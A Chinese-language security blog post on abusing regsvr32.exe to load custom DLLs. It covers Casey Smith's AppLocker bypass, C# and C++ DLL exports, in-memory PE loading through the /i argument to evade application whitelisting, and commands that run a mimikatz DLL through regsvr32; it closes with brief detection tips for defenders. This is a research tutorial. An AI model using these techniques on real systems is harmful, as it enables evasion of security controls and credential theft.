近日, Casey [email protected]
在其博客分享了对regsvr32.exe的研究进展,通过regsvr32.exe加载dll不仅更加隐蔽,而且还能够实现Bypass AppLocker,很是神奇。
于是,我对此做了进一步的学习研究,所以本文在前半段会先介绍Casey Smith的研究进展,后半段分享一下我基于此做的进一步研究测试,希望能给大家启发,跟进最新技术。
Casey Smith的博客地址:
http://subt0x10.blogspot.jp/2016/06/what-you-probably-didnt-know-about.html
图片引用自http://subt0x10.blogspot.jp/2016/06/what-you-probably-didnt-know-about.html
通过rundll32.exe加载dll大家应该都比较熟悉,语法:
#!shell rundll32.exe nameofdll,entrypointfunction arguments
#!shell rundll32 a.dll,EntryPoint
表示调用EntryPoint
Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。 语法:
#!shell regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
#!shell /u 卸载已安装的控件或DLL文件 /s 静默,不显示任何消息框 /n 指定不调用 DllRegisterServer,此选项必须与 /i 共同使用 /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载 dllname 指定要注册的 dll 文件名
#!shell regsvr32 a.dll
表示调用DllRegisterServer
#!shell regsvr32 /u a.dll
表示调用DllUnregisterServer
#!shell regsvr32 /n /i a.dll
表示调用DllInstall
下面我们尝试编写可被regsvr32调用的dll
c# 默认不可以声明导出函数
但是可以通过添加UnmanagedExports实现
下载地址:
https://www.nuget.org/packages/UnmanagedExports/
(1)新建c#工程,类型选择类库
如图
(2)添加UnmanagedExports
设置编译平台为x86或者x64,
如图
如果使用默认的Any CPU,在下一步的安装会报错,如图
在Visual Studio控制面板选择 TOOLS-Library Package Manager-Package Manager Console
输入 Install-Package UnmanagedExports
,进行安装
(3)编写代码
Casey Smith在博客中分享了参考代码,地址为:
https://gist.githubusercontent.com/subTee/f6123584a3258783e497481690ccc38d/raw/0e3aad1d8f9fc6762491bda76a1a8baa948e8ca2/evil.cs
提取出关键代码为:
#!c [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] public static void DllRegisterServer() { ProcessStartInfo info = new ProcessStartInfo(); info.FileName = "notepad.exe"; Process.Start(info); }
这里定义了导出函数DllRegisterServer及其对应的功能
(4)编译
.NET 版本选择4.0或者更高,编译成功
注:
如果使用中文系统进行开发,会出现如下错误:
#!shell c:/users/test/documents/visual studio 2012/Projects/testdll/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets(58,3): error : (27) : error : syntax error at token '{' in: {
这是由于UnmanagedExports不支持中文系统中的Unicode造成的,将系统的Unicode取消就好
选择 控制面板
- 时间、语言和区域
- 区域和语言
- 管理
- 非Unicode程序的语言
,将中文改为英文,重启系统
(1)EntryPoint
#!shell rundll32 testdll.dll,EntryPoint
如图
(2)DllRegisterServer
#!shell rundll32 testdll.dll,DllRegisterServer
or
#!shell regsvr32.exe testdll.dll
(3)DllUnregisterServer
#!shell rundll32 testdll.dll,DllUnregisterServer
or
#!shell regsvr32.exe /u testdll.dll
(4)DllInstall
#!shell rundll32 testdll.dll,DllInstall
or
#!shell regsvr32.exe /n /i testdll.dll
下载地址:
https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs
将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz
#!shell rundll32 katz.dll,EntryPoint log coffee exit
or
#!shell regsvr32 katz.dll log version exit
Casey Smith是通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,为了保证通用性,我采用了c++实现 下面介绍如何编写一个可被regsvr32加载的dll
新建c++工程,创建一个dll项目 在主文件添加:
#!c void DllRegisterServer() { MessageBox(NULL,"test","DllRegisterServer",MB_OK); } void DllUnregisterServer() { MessageBox(NULL,"test","DllUnregisterServer",MB_OK); } void DllInstall(BOOL bInstall, LPCWSTR pszCmdLine) { MessageBox(NULL,"test","DllInstall",MB_OK); }
添加导出函数声明:
添加文件类型:Text File
同名文件.def
写入
#!shell EXPORTS DllRegisterServer DllUnregisterServer DllInstall
编译,然后测试导出函数的功能:
#!shell regsvr32 /s test.dll regsvr32 /s /u test.dll regsvr32 /s /n /i testdll.dll
如图
DllInstall的参数说明如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
可知regsvr32可以通过 /i
传入cmd参数,下面来看看如何将cmd参数解析并传入我们自己的dll中
由DllInstall的参数说明可知pszCmdLine是 LPCWSTR
类型,这是一个指向unicode编码字符串的32位指针,所指向字符串是wchar型,而不是char型,实现接下来的功能需要先把传进来的参数pszCmdLine作一个转换,unicode转utf8,函数实现代码如下: unicode转utf8:
#!c char* Unicode2Utf8(const char* unicode) { int len; len = WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, NULL, 0, NULL, NULL); char *szUtf8 = (char*)malloc(len + 1); memset(szUtf8, 0, len + 1); WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, szUtf8, len, NULL,NULL); return szUtf8; }
补充:utf8转unicode:
#!c char* Utf82Unicode(const char* utf, size_t *unicode_number) { if(!utf || !strlen(utf)) { *unicode_number = 0; return NULL; } int dwUnicodeLen = MultiByteToWideChar(CP_UTF8,0,utf,-1,NULL,0); size_t num = dwUnicodeLen*sizeof(wchar_t); wchar_t *pwText = (wchar_t*)malloc(num); memset(pwText,0,num); MultiByteToWideChar(CP_UTF8,0,utf,-1,pwText,dwUnicodeLen); *unicode_number = dwUnicodeLen - 1; return (char*)pwText; }
在对传入的参数正确解析后,可尝试通过内存加载对应的PE文件(也就是传入的cmd参数),PE Loader参考自Pe-Loader-Sample,功能还需完善 项目地址:
https://github.com/abhisek/Pe-Loader-Sample
完整调用的代码如下:
#!c void DllInstall(BOOL bInstall, LPCWSTR pszCmdLine) { char *a=Unicode2Utf8((const char*)pszCmdLine); PE_LDR_PARAM peLdr; PeLdrInit(&peLdr); PeLdrSetExecutablePath(&peLdr, a); PeLdrStart(&peLdr); }
编译生成dll,可通过regsvr32调用,并且由 /i
传入要内存加载的exe路径,此方法可绕过绝大部分的应用程序白名单拦截和主动防御 运行命令:
#!shell regsvr32 /s /n /i:c:/test/Win32Project1.exe test.dll
可在内存加载并运行文件: c:/test/Win32Project1.exe
演示如图
完整测试工程代码已上传github:
https://github.com/3gstudent/regsvr32-test 注:
测试代码通过内存加载PE文件,如果遇到报错,需要进一步修改完善代码,这里面要学习的还有很多
站在防御者的角度,想必大家在遇到系统正在运行进程rundll32.exe的时候,都会去检查rundll32的运行参数,那么,如果发现系统正在运行regsvr32.exe,当然也要去检查一下,这里提供两种简单的检查方法:
选择列
-选中 命令行
如图,可查看regsvr32.exe对应的命令行参数
查看进程- 属性
- Commandline
如图
以上介绍了如何开发可供Regsvr32加载运行的dll,并对Regsvr32的利用技巧做了总结,希望能给大家启发。 接下来,能否通过构造特殊的/i参数,找到系统正常dll的漏洞并加以利用,值得深入研究。